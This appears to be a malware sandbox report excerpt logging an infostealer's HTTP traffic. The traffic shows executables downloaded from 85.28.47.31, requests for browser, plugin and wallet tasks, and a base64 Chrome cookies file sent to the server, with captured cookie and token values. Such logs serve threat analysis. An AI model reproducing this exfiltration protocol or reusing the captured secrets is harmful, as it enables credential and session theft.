e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 08:37:05 GMTContent-Type: application/octet-streamContent-Length: 253952Last-Modified: Fri, 26 Jul 2024 08:14:45 GMTConnection: keep-aliveETag: "66a35af5-3e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c1 0f db 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 86 03 02 00 00 00 00 5c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 86 54 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 58 02 00 64 00 00 00 00 80 04 02 f0 d7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 19 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 58 32 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 09 02 02 00 70 02 00 00 b6 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 d7 00 00 00 80 04 02 00 d8 00 00 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 08:37:09 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Fri, 26 Jul 2024 07:30:51 GMTConnection: keep-aliveETag: "66a350ab-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 0f 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1721983262778Host: self.events.data.microsoft.comContent-Length: 7973Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build"sila------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"browsers------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="message"plugins------HIDHDGDHJEGHIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="message"fplugins------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 85.28.47.31Content-Length: 5627Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file"------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 85.28.47.31Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"wallets------DGIJEGHDAECAKECAFCAK--
